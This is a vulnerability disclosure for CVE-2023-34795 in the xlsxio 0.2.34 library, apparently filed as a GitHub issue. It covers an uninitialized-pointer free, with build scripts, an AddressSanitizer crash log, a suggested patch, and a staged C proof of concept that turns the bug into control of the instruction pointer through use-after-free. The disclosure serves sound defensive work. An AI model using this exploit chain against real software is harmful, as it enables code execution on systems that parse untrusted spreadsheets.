[CVE-2023-34795] Free of uninitialized pointer in xlsxioread_sheetlist_close()

Hi. I found a free of uninitialized pointer vulnerability while fuzzing libxlsxio_read 0.2.34 with AFL++ and AddressSanitizer. This bug could be triggered by a malformed XLSX file, and cause a Denial of Service (DoS) by crashing program or potentially a Remote Code Execution (RCE) by hijacking some function pointers via Use-After-Free (UAF).

Description

In xlsxioread_sheetlist_open(), result is a pointer to struct xlsxio_read_sheetlist_struct object to be initialized. If XML_Char_openzip() fails (returns NULL), result->xmlparser remains uninitialized and then xlsxioread_sheetlist_open() returns result to user directly.

  // xlsxio_read.c:1414, xlsxioread_sheetlist_open()
  if ((result->zipfile = XML_Char_openzip(handle->zip, mainsheetfile, 0)) != NULL) {
    result->xmlparser = expat_process_zip_file_suspendable(result->zipfile, main_sheet_list_expat_callback_element_start, NULL, NULL, &result->sheetcallbackdata);
  }

When user calls xlsxioread_sheetlist_close() to destroy struct xlsxio_read_sheetlist_struct object, this uninitialized pointer xmlparser will be passed to XML_ParserFree(), leading to freeing arbitrary pointers.

  // xlsxio_read.c:1426, xlsxioread_sheetlist_close()
  if (sheetlisthandle->xmlparser)
    XML_ParserFree(sheetlisthandle->xmlparser);

System information

Ubuntu 20.04.6 LTS
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)
Ubuntu clang version 11.1.0-++20211011094159+1fdec59bffc1-1~exp1~20211011214622.5
cmake 3.16.3-1ubuntu1.20.04.1
libexpat1 2.2.9-1ubuntu0.6
libminizip1 1.1-8build1

Reproduction

Script to build test program

``` #!/bin/sh PREFIX=/tmp/build wget https://github.com/brechtsanders/xlsxio/releases/download/0.2.34/xlsxio-0.2.34.tar.xz tar -xvf xlsxio-0.2.34.tar.xz cd xlsxio-0.2.34 # patch may complain different line endings， I don't know why :( patch -p1 < /path/to/attachment_fuzz/fuzz.patch mkdir _build && cd _build/ export LLVM_CONFIG="llvm-config-11" cmake -G"Unix Makefiles" \ -DCMAKE_C_COMPILER="clang-11" \ -DCMAKE_CXX_COMPILER="clang++-11" \ -DCMAKE_INSTALL_PREFIX="${PREFIX}" \ -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \ -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \ -DBUILD_STATIC=ON \ -DBUILD_SHARED=OFF \ -DWITH_WIDE=OFF \ -DBUILD_EXAMPLES=OFF \ -DBUILD_TOOLS=OFF \ -DBUILD_DOCUMENTATION=OFF \ .. make install ```

attachment_fuzz.zip

$ ./fuzz malformed.xlsx
Available sheets:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==13887==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x7f7248790798 bp 0x7fff4fe90410 sp 0x7fff4fe903b0 T0)
==13887==The signal is caused by a READ memory access.
==13887==Hint: this fault was caused by a dereference of a high value address (see register values below).  Dissassemble the provided pc to learn which register was used.
    #0 0x7f7248790798 in XML_ParserFree lib/../../src/lib/xmlparse.c:1327:11
    #1 0x4d163b in xlsxioread_sheetlist_close (/tmp/xlsxio-0.2.34/_build/fuzz+0x4d163b)
    #2 0x4c7027 in fuzz (/tmp/xlsxio-0.2.34/_build/fuzz+0x4c7027)
    #3 0x4c7570 in fuzz_from_file (/tmp/xlsxio-0.2.34/_build/fuzz+0x4c7570)
    #4 0x4c7631 in main (/tmp/xlsxio-0.2.34/_build/fuzz+0x4c7631)
    #5 0x7f7248416082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
    #6 0x41d46d in _start (/tmp/xlsxio-0.2.34/_build/fuzz+0x41d46d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV lib/../../src/lib/xmlparse.c:1327:11 in XML_ParserFree
==13887==ABORTING

malformed.xlsx can be found in attachment_poc.zip.

PoC

The following PoC could perform a RCE attack by corrupting a freed XML_Parser object, making target program try to execute on an attacker-specified address (e.g. 0x4141414141414141).

Script to build PoC program

```bash #!/bin/sh wget https://github.com/brechtsanders/xlsxio/releases/download/0.2.34/xlsxio-0.2.34.tar.xz tar -xvf xlsxio-0.2.34.tar.xz cd xlsxio-0.2.34 make cp /path/to/attachment_poc/poc.c /path/to/attachment_poc/*.xlsx . gcc -c -o poc.static.o poc.c -DBUILD_XLSXIO_STATIC -g -Iinclude -Ilib -DUSE_MINIZIP gcc -o poc poc.static.o libxlsxio_read.a -lminizip -lexpat ```

attachment_poc.zip

// FILE: poc.c
#include <stdlib.h>
#include <string.h>
#include "xlsxio_read.h"

int main()
{
  xlsxioreader reader1, reader2, reader3;
  xlsxioreadersheetlist sheetlist1, sheetlist2, sheetlist3;
  xlsxioreadersheet sheet2;

  // Stage 1: prepare for exploition
  reader1 = xlsxioread_open("contains_payload.xlsx");
  reader2 = xlsxioread_open("normal.xlsx");
  reader3 = xlsxioread_open("malformed.xlsx");

  sheetlist1 = xlsxioread_sheetlist_open(reader1);

  // Stage 2: allocate a XML_Parser object then free it immediately
  sheetlist2 = xlsxioread_sheetlist_open(reader2);
  xlsxioread_sheetlist_close(sheetlist2);
  sheetlist2 = NULL;

  // Stage 3: create a sheetlist object whose xmlparser member refers to freed XML_Parser object,
  // then reallocate the XML_Parser object to a sheet object
  // Now: sheet2->processcallbackdata.xmlparser == sheetlist3->xmlparser
  sheetlist3 = xlsxioread_sheetlist_open(reader3); // BUG
  sheet2 = xlsxioread_sheet_open(reader2, NULL, 0);

  // Stage 4: free XML_Parser object again via sheetlist3
  xlsxioread_sheetlist_close(sheetlist3);
  sheetlist3 = NULL;

  // Stage 5: corrupt freed XML_Parser object
  xlsxioread_sheetlist_next(sheetlist1);
  // It does something like this:
  //~ char *p = malloc(0x3a0); // the length of xmlparser object depends on libexpat version
  //~ memset(p, 'A', 0x3a0);

  // Stage6 : call corrupted function pointer in XML_Parser object
  xlsxioread_sheet_next_cell(sheet2); // Should crash on $rip = 0x4141414141414141
}

Screenshot 2023-05-30 20-29-18

Suggested fix

This simple patch should fix it:

--- a/lib/xlsxio_read.c
+++ b/lib/xlsxio_read.c
@@ -1407,6 +1407,7 @@ DLL_EXPORT_XLSXIO xlsxioreadersheetlist
   if ((result = (xlsxioreadersheetlist)malloc(sizeof(struct xlsxio_read_sheetlist_struct))) == NULL)
     return NULL;
   result->handle = handle;
+  result->xmlparser = NULL;
   result->sheetcallbackdata.xmlparser = NULL;
   result->sheetcallbackdata.callback = xlsxioread_list_sheets_resumable_callback;
   result->sheetcallbackdata.callbackdata = result;

brechtsanders / xlsxio